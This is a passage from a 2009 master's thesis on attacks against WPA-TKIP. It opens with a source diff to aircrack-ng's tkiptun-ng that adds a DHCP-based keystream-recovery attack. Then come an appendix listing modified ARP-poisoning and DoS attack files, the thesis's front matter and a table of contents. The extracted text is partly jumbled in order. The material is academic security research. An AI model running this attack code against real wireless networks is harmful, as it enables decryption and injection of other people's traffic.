+ // make 16 bit words out of every two adjacent 8 bit words and
+ // calculate the sum of all 16 vit words
+ for (i=0;i<len_udp+padd;i=i+2){
+ word16 =((buff[i]<<8)&0xFF00)+(buff[i+1]&0xFF);
+ sum = sum + (unsigned long)word16;
+ }
+ // add the UDP pseudo header which contains the IP source and destinationn
addresses
+ for (i=0;i<4;i=i+2){
+ word16 =((src_addr[i]<<8)&0xFF00)+(src_addr[i+1]&0xFF);
+ sum=sum+word16;
+ }
+ for (i=0;i<4;i=i+2){
+ word16 =((dest_addr[i]<<8)&0xFF00)+(dest_addr[i+1]&0xFF);
+ sum=sum+word16;
+ }
+ // the protocol number and the length of the UDP packet
+ sum = sum + prot_udp + len_udp;
+
+ // keep only the last 16 bits of the 32 bit calculated sum and add the
carries
+ while (sum>>16)
122 Source Code
+ sum = (sum & 0xFFFF)+(sum >> 16);
+
+ // Take the one’s complement of sum
+ sum = ~sum;
+return ((u16) sum);
+}
int do_attack_tkipchop( uchar* src_packet, int src_packet_len )
{
float f, ticks[4];
@@ -2458,6 +2567,191 @@
/* wait for the next timer interrupt, or sleep */
+ if(data_end == 618)
+ {
+ // Padding (274 bytes of zero)
+ for(i = 0; i < 274; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ data_end = simulate_chopchop(chopped, 255, data_end); // end option
byte is 0xFF
+
+ // DNS option field
+ data_end = simulate_chopchop(chopped, 1, data_end); // DNS IP
address - 4th byte
+ data_end = simulate_chopchop(chopped, 1, data_end); // DNS IP
address - 3th byte
+ data_end = simulate_chopchop(chopped, 168, data_end); // DNS IP
address - 2nd byte
+ data_end = simulate_chopchop(chopped, 192, data_end); // DNS IP
address - 1st byte
+
+ data_end = simulate_chopchop(chopped, 4, data_end); // DNS address
length
+ data_end = simulate_chopchop(chopped, 6, data_end); // DNS option
+
+ // Router option field
+ data_end = simulate_chopchop(chopped, 1, data_end); // Router IP
address - 4th byte
+ data_end = simulate_chopchop(chopped, 1, data_end); // Router IP
address - 3th byte
+ data_end = simulate_chopchop(chopped, 168, data_end); // Router IP
address - 2nd byte
+ data_end = simulate_chopchop(chopped, 192, data_end); // Router IP
address - 1st byte
+
+ data_end = simulate_chopchop(chopped, 4, data_end); // Router
address length
+ data_end = simulate_chopchop(chopped, 3, data_end); // Router option
+
+ // Subnet Mask
+ data_end = simulate_chopchop(chopped, 0, data_end); // Subnet Mask
IP address - 4th byte
Improved Attack 123
+ data_end = simulate_chopchop(chopped, 255, data_end); // Subnet Mask
IP address - 3th byte
+ data_end = simulate_chopchop(chopped, 255, data_end); // Subnet Mask
IP address - 2nd byte
+ data_end = simulate_chopchop(chopped, 255, data_end); // Subnet Mask
IP address - 1st byte
+
+ data_end = simulate_chopchop(chopped, 4, data_end); // Subnet Mask
address length
+ data_end = simulate_chopchop(chopped, 1, data_end); // Subnet Mask
option
+
+ // Lease time (Set to 48 hours by default)
+ // 24 hours = 0x00 01 51 80
+ // 48 hours = 0x00 02 A3 00
+ data_end = simulate_chopchop(chopped, 0, data_end); // 0x00
+ data_end = simulate_chopchop(chopped, 163, data_end); // 0xA3
+ data_end = simulate_chopchop(chopped, 2, data_end); // 0x02
+ data_end = simulate_chopchop(chopped, 0, data_end); // 0x00
+
+ data_end = simulate_chopchop(chopped, 4, data_end); // Field length
+ data_end = simulate_chopchop(chopped, 51, data_end); // Lease time
option - 0x33
+
+ // DHCP Server ID
+ data_end = simulate_chopchop(chopped, 1, data_end); // IP address -
4th byte
+ data_end = simulate_chopchop(chopped, 1, data_end); // IP address -
3th byte
+ data_end = simulate_chopchop(chopped, 168, data_end); // IP address
- 2nd byte
+ data_end = simulate_chopchop(chopped, 192, data_end); // IP address
- 1st byte
+
+ data_end = simulate_chopchop(chopped, 4, data_end); // Address
length
+ data_end = simulate_chopchop(chopped, 54, data_end); // Option
+
+ // Message Type (DHCP ACK)
+ data_end = simulate_chopchop(chopped, 5, data_end); // Ack - 0x05
+ data_end = simulate_chopchop(chopped, 1, data_end); // Length - 0x01
+ data_end = simulate_chopchop(chopped, 53, data_end); // Option - 0x35
+
+ // Magic Cookie
+ data_end = simulate_chopchop(chopped, 99, data_end); // 0x63
+ data_end = simulate_chopchop(chopped, 83, data_end); // 0x53
+ data_end = simulate_chopchop(chopped, 130, data_end); // 0x82
+ data_end = simulate_chopchop(chopped, 99, data_end); // 0x63
+
+ // Boot File Name (128 bytes of zero)
+ for(i = 0; i < 128; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Server Host Name (64 bytes of zero)
124 Source Code
+ for(i = 0; i < 64; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Client Hardware Address Padding (10 bytes of zero)
+ for(i = 0; i < 10; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Client MAC Address (6 bytes)
+ for(i = 5; i>=0; --i) data_end = simulate_chopchop(chopped,opt.r_smac[
i],data_end);
+
+ // Relay Agent IP Address (4 bytes of zero)
+ for(i = 0; i < 4; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Next Server IP Address
+ data_end = simulate_chopchop(chopped, 1, data_end); // Next Server
IP address - 4th byte
+ data_end = simulate_chopchop(chopped, 1, data_end); // Next Server
IP address - 3th byte
+ data_end = simulate_chopchop(chopped, 168, data_end); // Next Server
IP address - 2nd byte
+ data_end = simulate_chopchop(chopped, 192, data_end); // Next Server
IP address - 1st byte
+
+ // Your IP Address
+ for(i = 3; i>=0; --i) data_end = simulate_chopchop(chopped,opt.ip_cli[
i],data_end);
+
+ // Client IP Address (4 bytes of zero)
+ for(i = 0; i < 4; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Bootp flags (Unicast) (2 bytes of zero)
+ for(i = 0; i < 2; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ // Seconds elapsed (2 bytes of zero)
+ for(i = 0; i < 2; ++i) data_end = simulate_chopchop(chopped, 0,
data_end);
+
+ continue; // Continue chopping the Transaction ID
+ }
+
+ // Start guessing after the transaction ID has been chopped
+ if(data_end == 74)
+ {
+ // Hops
+ data_end = simulate_chopchop(chopped, 0, data_end);
+ // HW Address length
+ data_end = simulate_chopchop(chopped, 6, data_end);
+ // HW Type (Ethernet)
+ data_end = simulate_chopchop(chopped, 1, data_end);
+ // Message Type (Boot Replay)
Improved Attack 125
+ data_end = simulate_chopchop(chopped, 2, data_end);
+
+ // CALCULATE THE UPD HEADER CHECKSUM
+ u16 src_addr[] = {0xC0,0xA8,0x01,0x01}; // IP src addr
+ u16 dest_addr[] = {opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.
ip_cli[3]}; // IP dest addr
+ u16 buffer[556];
+ u16 tmp_src[556];
+
+ // Copy the keystream from the start of the UDP header to the end
+ for(i=0; i<556; ++i) buffer[i] = chopped[i+62];
+
+
+ // Make a temporary copy of the srcbuf (containing ciphertext)
+ for(i=0; i<556; ++i) tmp_src[i] = srcbuf[i+62];
+
+
+ // XOR the keystream and the ciphertext to reveal the plaintext
+ for(i=0; i<556; ++i) buffer[i] ^= tmp_src[i];
+
+
+ // Insert known bytes into the buffer
+ buffer[0] = 0x00; buffer[1] = 0x43; // Source Port
+ buffer[2] = 0x00; buffer[3] = 0x44; // Destination Port
+ buffer[4] = 0x02; buffer[5] = 0x2C; // Length
+ buffer[6] = 0x00; buffer[7] = 0x00; // Zero checksum
+
+ // Calclulate the UDP checksum
+ int udp_sum = udp_sum_calc(556, src_addr,dest_addr,0,buffer);
+ // Get the different bytes of the checksum
+ int udp_chk_1 = udp_sum >> 8;
+ int udp_chk_2 = udp_sum-(udp_chk_1<<8);
+
+ printf("UDP sum: %x\n",udp_sum);
+
+ // Hyper chop the checksum
+ data_end = simulate_chopchop(chopped, udp_chk_2, data_end);
+ data_end = simulate_chopchop(chopped, udp_chk_1, data_end);
+
+ // Length (556 - 0x022C)
+ data_end = simulate_chopchop(chopped, 44, data_end); // 0x2C
+ data_end = simulate_chopchop(chopped, 2, data_end); // 0x02
+
+ // Destination Port (68) (0x0044)
+ data_end = simulate_chopchop(chopped, 68, data_end);
+ data_end = simulate_chopchop(chopped, 00, data_end);
+
+ // Source Port (67) (0x0043)
+ data_end = simulate_chopchop(chopped, 67, data_end);
+ data_end = simulate_chopchop(chopped, 00, data_end);
+
+
+ // IP HEADER
+ u16 ip_header[20] = {
126 Source Code
+ 0x45, 0x00, 0x02, 0x40,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x40, 0x11, 0x00, 0x00,
+ 0xC0, 0xA8, 0x01, 0x01,
+ 0x00, 0x00, 0x00, 0x00
+ };
+ // Your IP Address
+ for(i = 0; i<4; ++i) ip_header[i+16] = opt.ip_cli[i];
+
+ // Calculate the IP checksum
+ u16 ip_sum = ip_sum_calc(20,ip_header);
+ ip_header[10] = ip_sum >> 8;
+ ip_header[11] = ip_sum-(ip_header[10]<<8);
+
+ // Hyperchop the IP headers
+ for(i = 19; i>=0; --i) data_end = simulate_chopchop(chopped, ip_header
[i], data_end);
+
+ break; // Stop chopping. Let’s append those ethernet headers
+ }
+
+
if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
{
printf( "\rLooks like mic failure report was not detected."
@@ -2822,9 +3116,10 @@
PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval)
;
fflush(stdout);
- if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //
found correct packet :)
- break;
-
+ // if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0)
//found correct packet :)
+ // break;
+ if(data_end ==0)
+ break;
while(1)
{
gettimeofday(&mic_fail, NULL);
@@ -2851,7 +3146,8 @@
chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
-
+ chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; // SET TYPE TO IP
+ chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00; // SET TYPE TO IP
for( i = 26 + 8; i < (int) caplen; i++ )
h80211[i - 8] = h80211[i] ^ chopped[i];
@@ -2859,7 +3155,7 @@
if (!tried_header_rec) {
Improved Attack 127
printf( "\nWarning: ICV checksum verification FAILED! Trying
workaround.\n" );
tried_header_rec=1;
- goto header_rec;
+ //goto header_rec;
} else {
printf( "\nWorkaround couldn’t fix ICV checksum.\nPacket is
most likely invalid/useless\nTry another one.\n" );
}
@@ -3705,9 +4001,9 @@
char *s, buf[128];
int caplen=0;
uchar packet1[4096];
- uchar packet2[4096];
- int packet1_len, packet2_len;
- struct timeval mic_fail;
+ //uchar packet2[4096];
+ int packet1_len;//, packet2_len;
+// struct timeval mic_fail;
/* check the arguments */
@@ -3715,7 +4011,7 @@
memset( &dev, 0, sizeof( dev ) );
opt.f_type = -1; opt.f_subtype = -1;
- opt.f_minlen = 80; opt.f_maxlen = 80;
+ opt.f_minlen = 628; opt.f_maxlen = 628;
opt.f_minlen_set = 0;
opt.f_maxlen_set = 0;
opt.f_tods = -1; opt.f_fromds = -1;
@@ -3757,7 +4053,7 @@
};
int option = getopt_long( argc, argv,
- "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
+ "d:s:m:n:t:f:x:a:c:h:e:jy:i:I:r:HZDK:P:p:M:",
long_options, &option_index );
if( option < 0 ) break;
@@ -3904,6 +4200,10 @@
strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 );
break;
+ case ’I’ :
+ sscanf(optarg, "%d.%d.%d.%d",(int *)&opt.ip_cli[0],(int *)&opt.
ip_cli[1],(int *)&opt.ip_cli[2],(int *)&opt.ip_cli[3]);
+ break;
+
case ’j’ :
opt.r_fromdsinj = 1;
@@ -4312,56 +4612,56 @@
128 Source Code
/* Select ToDS ARP from Client */
- PCT; printf("Waiting for an ARP packet coming from the Client...\n");
-
- opt.f_tods = 1;
- opt.f_fromds = 0;
- memcpy(opt.f_smac, opt.r_smac, 6);
-// memcpy(opt.f_dmac, opt.f_bssid, 6);
- if(opt.fast == -1)
- opt.fast = 1;
-
- if(opt.f_minlen_set == 0) {
- opt.f_minlen = 80;
- }
- if(opt.f_maxlen_set == 0) {
- opt.f_maxlen = 80;
- }
-
- while(1)
- {
- if( capture_ask_packet( &caplen, 0 ) != 0 )
- return( 1 );
- if( is_qos_arp_tkip(h80211, caplen) == 1 )
- break;
- }
-
- memcpy(packet2, h80211, caplen);
- packet2_len = caplen;
+// PCT; printf("Waiting for an ARP packet coming from the Client...\n")
;
+//
+// opt.f_tods = 1;
+// opt.f_fromds = 0;
+// memcpy(opt.f_smac, opt.r_smac, 6);
+// // memcpy(opt.f_dmac, opt.f_bssid, 6);
+// if(opt.fast == -1)
+// opt.fast = 1;
+//
+// if(opt.f_minlen_set == 0) {
+// opt.f_minlen = 80;
+// }
+// if(opt.f_maxlen_set == 0) {
+// opt.f_maxlen = 80;
+// }
+//
+// while(1)
+// {
+// if( capture_ask_packet( &caplen, 0 ) != 0 )
+// return( 1 );
+// if( is_qos_arp_tkip(h80211, caplen) == 1 )
+// break;
+// }
+//
+// memcpy(packet2, h80211, caplen);
Improved Attack 129
+// packet2_len = caplen;
/* Select FromDS ARP to Client */
- PCT; printf("Waiting for an ARP response packet coming from the AP...\n
");
+ PCT; printf("Waiting for an DHCP ACK packet coming from the AP...\n");
opt.f_tods = 0;
opt.f_fromds = 1;
memcpy(opt.f_dmac, opt.r_smac, 6);
memcpy(opt.f_smac, NULL_MAC, 6);
- if(opt.f_minlen_set == 0) {
- opt.f_minlen = 80;
- }
- if(opt.f_maxlen_set == 0) {
- opt.f_maxlen = 98;
- }
-
- while(1)
- {
+ // if(opt.f_minlen_set == 0) {
+ // opt.f_minlen = 80;
+ // }
+ // if(opt.f_maxlen_set == 0) {
+ // opt.f_maxlen = 98;
+ // }
+ //
+ // while(1)
+ // {
if( capture_ask_packet( &caplen, 0 ) != 0 )
return( 1 );
- if( is_qos_arp_tkip(h80211, caplen) == 1 )
- break;
- }
+ // if( is_qos_arp_tkip(h80211, caplen) == 1 )
+ // break;
+ // }
memcpy(packet1, h80211, caplen);
packet1_len = caplen;
@@ -4379,41 +4679,41 @@
do_attack_tkipchop(h80211, caplen);
/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
- if(opt.chopped_from_plain != NULL)
- {
- memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4);
- memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4);
- memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6);
- }
-
- PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
130 Source Code
- opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac
[3],opt.r_apmac[4],opt.r_apmac[5],
- opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]);
- PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\
n",
- opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt
.r_smac[4],opt.r_smac[5],
- opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]);
-
- /* Send an ARP Request from the AP to the Client */
-
- build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp
request into h80211
- send_packet(h80211, caplen);
- PCT; printf("Sent encrypted tkip ARP request to the client.\n");
-
- /* wait until we can generate a new mic failure */
-
- PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n",
opt.mic_failure_interval);
-
- while(1)
- {
- gettimeofday(&mic_fail, NULL);
- if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (
mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.
mic_failure_interval * 1000000)
- break;
- sleep(1);
- }
-
- /* Also chop the answer to get the equivalent MIC Key */
- memcpy(h80211, packet2, packet2_len);
- do_attack_tkipchop(h80211, caplen);
+ // if(opt.chopped_from_plain != NULL)
+ // {
+ // memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4);
+ // memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4);
+ // memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6);
+ // }
+ //
+ // PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i
\n",
+ // opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.
r_apmac[3],opt.r_apmac[4],opt.r_apmac[5],
+ // opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]);
+ // PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%
i.%i\n",
+ // opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac
[3],opt.r_smac[4],opt.r_smac[5],
+ // opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli
[3]);
+ //
+ // /* Send an ARP Request from the AP to the Client */
Improved Attack 131
+ //
+ // build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp
request into h80211
+ // send_packet(h80211, caplen);
+ // PCT; printf("Sent encrypted tkip ARP request to the client.\n");
+ //
+ // /* wait until we can generate a new mic failure */
+ //
+ // PCT; printf("Wait for the mic countermeasure timeout of %i seconds
.\n", opt.mic_failure_interval);
+ //
+ // while(1)
+ // {
+ // gettimeofday(&mic_fail, NULL);
+ // if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000
+ (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.
mic_failure_interval * 1000000)
+ // break;
+ // sleep(1);
+ // }
+ //
+ // /* Also chop the answer to get the equivalent MIC Key */
+ // memcpy(h80211, packet2, packet2_len);
+ // do_attack_tkipchop(h80211, caplen);
/* that’s all, folks */
132 Source Code
Appendix B
Attached CD-ROM/ZIP-file
The attached CD-ROM/ZIP-file contains the following files and directories:
• README - Instructions
• aircrack-ng.zip - Aircrack-ng Suite revision 1503
• modified_code/tkiptun-ng-arp-poisoning-1503.c - ARP poison-
ing attack on TKIP
• modified_code/tkiptun-ng-dhcp-chop-1503.c - Improved attack on
TKIP
• modified_code/tkiptun-ng-dos-attack-1503.c - DoS attack on TKIP
• tkiptun-ng-original-1503.c - Original attack on TKIP
133

Problem Description
A new vulnerability in the Temporal Key Integrity Protocol (TKIP) defined in 802.11i [1] was recently discovered and published in [2]. Verification and further analysis on this vulnerability is needed. The students will give a detailed explanation of the attack, followed by experimental verification via various tools. The severeness of the attack and application areas should be discussed. If it is possible and if time permits, the students will also look for other weaknesses in the TKIP protocol that may lead to other attacks. [1] http://standards.ieee.org/getieee802/download/802.11i-2004.pdf [2] http://dl.aircrack-ng.org/breakingwepandwpa.pdf Assignment given: 14. January 2009 Supervisor: Stig Frode Mjølsnes, ITEM

.

i . as well as our own contributions. In November 2008. The thesis starts by giving a comprehensive study of the current state of wireless network and security protocols. This paper introduced the first practical cryptographic attack on TKIP. This thesis continues the work of Beck and Tews. this included the original attack by Beck and Tews. a detailed description of Beck and Tews’ attack will be given. Next. the contributions made by the authors were implemented as extensions to the source code provided by Beck and Tews. In addition to these theoretical results. The main contribution in this thesis is an improvement of Beck and Tews’ attack on TKIP. This improved attack is able to obtain more than ten times the amount of keystream than the original attack. TKIP was believed to be a secure alternative to WEP. the German researchers Martin Beck and Erik Tews released a paper titled Practical Attacks Against WEP and WPA [10]. by exploiting the fact that the Dynamic Host Configuration Protocol (DHCP) contains large amounts of known plaintext. the authors prove how it is possible to modify the original attack on TKIP to be able to perform an Address Resolution Protocol (ARP) poisoning attack and a cryptographic Denial-of-Service (DoS) attack. and presents an improved attack as an advancement of their original attack. Experimental verification of the attacks was also performed. although some weak points were known.Abstract The Temporal Key Integrity Protocol (TKIP) was created to fix the weaknesses of Wired Equivalent Privacy (WEP). Up until November 2008. Additionally.

ii .

a paper was submitted to the NordSec Conference. NTNU. As a result of this thesis. Trondheim. Conducting research on the cutting edge of information security has been a challenging and demanding task. we would also like to thank professor Stig F. Additionally. On the other hand. for the support regarding the process of writing this paper. The authors were required to produce new and novel enhancements to existing attacks. We would like to thank Stig F. June 2009 Finn Michael Halvorsen iii Olav Haugen . conducted in the 10th semester of the Master’s Programme in Communication Technology at The Norwegian University of Science and Technology. being able to make new discoveries has been very motivating and exciting. The assignment was given by Martin Eian at the Department of Telematics. Mjølsnes and the Department of Telematics for giving us the opportunity to write this thesis.Preface This report is the final result of the Master’s Thesis in Information Security. NTNU. Especially the use of practical experimentation made the research a fulfilling experience. We would like to thank our supervisor Martin Eian for his continuous feedback and support.

iv .

Acronyms AES Advanced Encryption Standard AP Access point ARC4 Alleged RC4 BOOTP Bootstrap Protocol BSSID Basic Service Set Identifier BSS Basic Service Set CCMP Counter Mode with Cipher Block Chaining Message Authentication Code Protocol CHADDR Client Hardware Address CIADDR Client IP Address CRC Cyclic Redundancy Check DA Destination Address DHCP Dynamic Host Configuration Protocol DNS Domain Name System DoS Denial-of-Service DS Distribution System EAPOL Extensible Authentication Protocol Over LAN EAP Extensible Authentication Protocol ESSID Extended Service Set Identifier ESS Extended Service Set FCS Frame Check Sequence v .

GIADDR Relay Agent IP Address GPU Graphical Processing Unit GUI Graphical User Interface HLEN Hardware Length HTYPE Hardware Type IBSS Independent Basic Service Set IEEE Institute of Electrical and Electronics Engineers IP Internet Protocol LAN Local Area Network LLC Logical Link Control LSB Least Significant Bit MAC Media Access Control MBZ Must Be Zero MD5 Message Digest 5 MIC Message Integrity Code MPDU MAC Protocol Data Unit MSB Most Significant Bit MSDU MAC Service Data Unit MTU Maximum Transmission Unit NAT Network Address Translation NDP Neighbor Discovery Protocol OP Operation PMK Pairwise Master Key PRGA Pseudo Random Generation Algorithm PRNG Pseudo Random Number Generator PTKSA Pairwise Transient Key Security Association RC4-KSA RC4 Key Scheduling Algorithm vi .

RC4 Rivest Cipher 4 RFC Request For Comment SA Source Address SHA Secure Hash Algorithm SIADDR Next Server IP Address SNAME Server Host Name SNAP Sub Network Access Protocol SSID Service Set Identifier STA Station TA Transmitter Address or Transmitting Station Address TCP Transmission Control Protocol TID Traffic Identifier TKIP Temporal Key Integrity Protocol TK Temporal Key (Session Key) TSC TKIP Sequence Counter TTAK TKIP-mixed Transmit Address and Key WEP Wired Equivalent Privacy WLAN Wireless Local Area Network WMM WiFi MultiMedia WPA WiFi Protected Access XID Transaction ID XOR Exclusive-Or YIADDR Your IP Address vii .

viii .

. .3 Authentication and Authorization . . . .11 Wireless Networks . . . . . . . . .4. . . . . . . 2. . . . . . . . 2. .1. . . .2 Related Work . . . . . . . 2. 1. . . . .4 Attacks . . . . . . . .1 General Description . .1 History . . . . . .3 Wireless Security . . . . . 2. . . . . . . . . . . . . . . . . . 2. . . . . . . . . . . . . . . . .1 Security Principles . .3 Authentication .6 Document Structure . . . . . . . . . . . . . . . . . . . . . ix . . . . . . . .1. . . . . . . . 2. . . . . . . . . . . . . . . . 1. . . . . . . . . . . . . . . . . . . . . .2. . . . . .3 History . . . . . . . . . . .2 Protocol Overview . . . . . . . . . . . . . . . . . .2. . . . . . .3 Problem Description and Goals 1. . . 2. . .11 Transmission Protocols Roundup 2. . . . . . . . . . . . . . . . 1. 2. . . . . . . .11 Security Protocols . .Contents Abstract Preface Acronyms 1 Introduction 1.1. . . . . . 2. . . . . .4 IEEE 802. . 2. . . . . . .1 IEEE 802. . . . . . . . . .1 General Principles . . . . . . . . . . . . .4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2. . . . . . . . . . . . . . . . . . . . . 2. . . .1 Motivation . . 1. . . . . . . . . . . . . . i iii v 1 1 2 2 3 3 4 7 7 7 9 10 11 12 12 12 14 15 15 16 18 18 19 21 2 Background 2. . . . . . . . . . . 2. . . . . . . . . . . . . . . . . . . .5 Research Methodology . . . . . . . . 2. . .2 Encryption techniques . . . . . . . . .2. . . . . . . . . .2 Structure of Wireless Networks . . . .4.1. .4 Wired Equivalent Privacy (WEP) .3.2 IEEE 802. . . . . . . .4 Limitations . . . . . . . 2. . . . . . . . . . . . . . . . . . . . .

2.4.4 Pseudorandom Number Generator - RC4 . 2.4.5 Integrity Check Value - CRC-32 . . . . . . 2.4.6 Initialization Vector - IV . . . . . . . . . . . 2.4.7 Weaknesses of WEP . . . . . . . . . . . . . 2.5 Attacks on WEP . . . . . . . . . . . . . . . . . . . 2.5.1 The FMS Attack . . . . . . . . . . . . . . . 2.5.2 The KoreK Attack . . . . . . . . . . . . . . 2.5.3 The PTW Attack . . . . . . . . . . . . . . . 2.5.4 Beck and Tews’ Improved Attack on RC4 . 2.5.5 Chopchop Attack . . . . . . . . . . . . . . . 2.5.6 Fragmentation Attack . . . . . . . . . . . . 2.6 Temporal Key Integrity Protocol (TKIP) . . . . . 2.6.1 History . . . . . . . . . . . . . . . . . . . . 2.6.2 Protocol overview . . . . . . . . . . . . . . 2.6.3 TKIP Encapsulation . . . . . . . . . . . . . 2.6.4 TKIP Decapsulation . . . . . . . . . . . . . 2.6.5 TKIP Packet Structure . . . . . . . . . . . 2.6.6 TKIP Sequence counter (TSC) . . . . . . . 2.6.7 Message Integrity Code (MIC) . . . . . . . 2.6.8 Temporal Key . . . . . . . . . . . . . . . . 2.7 Counter Mode with CBC MAC Protocol (CCMP) 2.8 Attacks on TKIP and CCMP . . . . . . . . . . . . 2.9 IEEE 802.11e - QoS/WMM . . . . . . . . . . . . . 2.10 Address Resolution Protocol (ARP) . . . . . . . . 2.10.1 Protocol Overview . . . . . . . . . . . . . . 2.10.2 ARP Packet Structure . . . . . . . . . . . . 2.10.3 Attacks on ARP . . . . . . . . . . . . . . . 2.11 Dynamic Host Configuration Protocol (DHCP) . . 2.11.1 Overview . . . . . . . . . . . . . . . . . . . 2.11.2 DHCP Packet Structure . . . . . . . . . . . 3 Beck and Tews’ Attack on TKIP 3.1 Requirements . . . . . . . . . . . . . . . . . 3.1.1 QoS/WMM . . . . . . . . . . . . . . 3.1.2 Key Renewal Interval . . . . . . . . 3.2 The Attack in Details . . . . . . . . . . . . 3.2.1 Client De-Authentication . . . . . . 3.2.2 Modified Chopchop Attack . . . . . 3.2.3 Guessing The Remaining Bytes . . . 3.2.4 Reversing the MICHAEL Algorithm 3.3 Limitations . . . . . . . . . . . . . . . . . . 3.4 Application Areas . . . . . . . . . . . . . . 3.4.1 ARP Poisoning . . . . . . . . . . . . 3.4.2 Denial-of-Service . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

22 24 25 26 29 30 30 31 32 33 35 37 37 37 38 39 40 41 42 45 47 49 50 51 51 52 53 54 55 56 59 59 59 60 60 62 62 63 63 64 65 66 66

3.5 4 An 4.1 4.2 4.3

Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . Improved Attack on TKIP The DHCP ACK Message . . The Attack in Details . . . . Application Areas . . . . . . 4.3.1 DHCP DNS Attack . 4.3.2 NAT Traversal Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

66 69 69 70 73 73 76 77 77 78 78 79 79 80 81 83 83 84 85 85 86 87 89 89 91 92 94 96 96 97 98 98 98 98

5 Laboratory Environment 5.1 Hardware . . . . . . . . . . . 5.1.1 Computers . . . . . . 5.1.2 Access Point . . . . . 5.2 Software . . . . . . . . . . . . 5.2.1 The Aircrack-ng Suite 5.2.2 Wireshark . . . . . . . 5.2.3 Command Line Tools

6 Experiments 6.1 Preparations for the Attacks . . . . . . . . . . . . . . . . 6.2 Verification of the Original Implementation . . . . . . . 6.3 Modifying tkiptun-ng Into an ARP Poisoning Attack . . 6.4 Modifying tkiptun-ng Into a Cryptographic DoS Attack 6.5 Verification of the Improved Attack . . . . . . . . . . . . 6.6 Experimentation With Other Systems . . . . . . . . . . 7 Results 7.1 Verification of the Original Attack . . . . . . . . 7.2 ARP Poisoning Attack . . . . . . . . . . . . . . . 7.3 A Cryptographic Denial-of-Service Attack . . . . 7.4 Verification of the Improved Attack . . . . . . . . 7.5 Results With Different Configurations . . . . . . 7.5.1 The Original Tkiptun-ng Attack . . . . . 7.5.2 Access Points . . . . . . . . . . . . . . . . 7.5.3 Injection on Different QoS Channels . . . 7.5.4 Forcing DHCP Renewal . . . . . . . . . . 7.5.5 Predictability of DHCP Transaction IDs . 7.5.6 Summary of Experimentation With Other 8 Discussion 8.1 Application Areas . . . . . . 8.1.1 The Original Attack . 8.1.2 The Improved Attack 8.2 Real World Applicability . . . xi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

